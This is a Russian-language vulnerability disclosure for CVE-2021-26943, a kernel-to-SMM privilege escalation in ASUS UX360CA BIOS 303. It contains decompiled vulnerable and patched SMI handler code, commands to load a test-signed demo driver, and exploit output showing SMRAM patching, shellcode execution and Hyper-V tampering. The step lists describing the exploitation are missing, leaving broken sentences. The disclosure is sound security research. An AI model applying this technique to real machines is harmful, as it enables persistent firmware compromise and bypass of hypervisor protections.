
Отчёт и эксплойт для CVE-2021-26943 — уязвимости локального повышения привилегий из ядра в SMM в BIOS версии 303 для ASUS UX360CA.
Это отчет и эксплойт для CVE-2021-26943 — локального повышения привилегий от уровня ядра до SMM в BIOS версии 303 для ASUS UX360CA. Проблема была исправлена в версии 304.
BIOS версии 303 для UX360CA содержит 3 уязвимых модуля, которые позволяют атакующему с привилегиями ring0 перезаписывать почти произвольную физическую память, включая SMRAM, и выполнять произвольный код в SMM.
Эти модули можно идентифицировать следующим образом:
| Имя | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
Эти модули произведены компанией AMI (вендор BIOS) и могут присутствовать в BIOS других OEM-производителей.
Уязвимые модули и соответствующие им SMI: UsbRt (0x31), SdioSmm (0x40) и NvmeSmm (0x42). Все эти SMI-обработчики читают физический адрес 0x40E, чтобы получить адрес для работы, и записывают один байт по этому адресу в случае ошибки, даже если это SMRAM.
Например, SMI-обработчик SdioSmm выглядит следующим образом:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
Эта проблема, по-видимому, идентична INTEL-SA-00057, которая отлично описана в Aptiocalypsis. Однако BIOS версии 303 для UX360CA не содержит исправлений для них.
Это позволяет атакующему с доступом на запись к физической памяти и инструкцией OUT (то есть привилегиями ring0) перезаписать содержимое SMRAM, выполнив следующие шаги:
Это можно использовать для достижения произвольного выполнения кода в SMM следующим образом:
.Raw в HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader ReservedПроизвольное выполнение кода в SMM позволило бы атакующему обойти меры безопасности, реализованные ядром и гипервизором, такие как HVCI, как продемонстрировано в другом отчете об уязвимости SMM, и обеспечить постоянство, обновляя содержимое SPI-флеша (BIOS).
Прилагаемый демонстрационный проект демонстрирует успешную эксплуатацию и дамп содержимого MSR, доступных только в SMM, а также физического адреса EPTP. Он также модифицирует код обработки CPUID VM-exit гипервизора Hyper-V, заставляя его возвращать изменённую строку вендора гипервизора.
PoC протестирован на Windows build 18362.1256, с включённым и выключенным HVCI.
Видеозапись успешной эксплуатации можно найти на YouTube.

На целевой системе:
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
Исправление заключается в том, чтобы полностью избегать использования содержимого, контролируемого пользователем, когда оно указывает внутрь SMRAM, как показано ниже.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
Исправление полностью соответствует современной лучшей практике отрасли и предотвращает атаку «запутанного посредника» (confused deputy), приводящую к повреждению SMRAM.
Однако обратите внимание, что оно не учитывает области памяти гипервизора. Атакующий, знающий физический адрес памяти, где загружен или используется гипервизор, всё ещё может вызвать SMI для перезаписи кода или данных гипервизора и добиться его повреждения.
Это широко распространённая, давно существующая и даже архитектурная проблема.
Сообщённые проблемы были устранены, но были некоторые проблемы с реализацией стратегии эшелонированной защиты.
Например, таблица страниц SMM использует идентичное отображение с полными правами чтения, записи и исполнения, а функция SMM_Code_Chk_En была недоступна. Это делало эксплуатацию тривиальной. Я также заметил, что буфер связи SMM не проверяется с помощью SmmIsBufferOutsideSmmValid() как в EDK2, хотя эксплуатируемый SMI я не нашёл.
Я считаю, что это распространённые проблемы у разных OEM и во многих версиях BIOS. Я обращаю внимание на то, что если у вас старые модели от любых OEM, их BIOS вряд ли будет настолько безопасным, как вам хотелось бы, даже с последними версиями BIOS.
Эти проблемы не исчезнут в ближайшее время, но я рад видеть, что индустрия работает над архитектурным решением, снижая привилегии SMM. Вот некоторые из этих работ и статей, которые можно посмотреть:
Вот некоторые основные моменты.
Наконец, огромное спасибо командам ASUS за тесное и прозрачное общение в процессе работы❤ В целом процесс был не быстрым, но зато без лишних сложностей.
Hv Tampered!.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!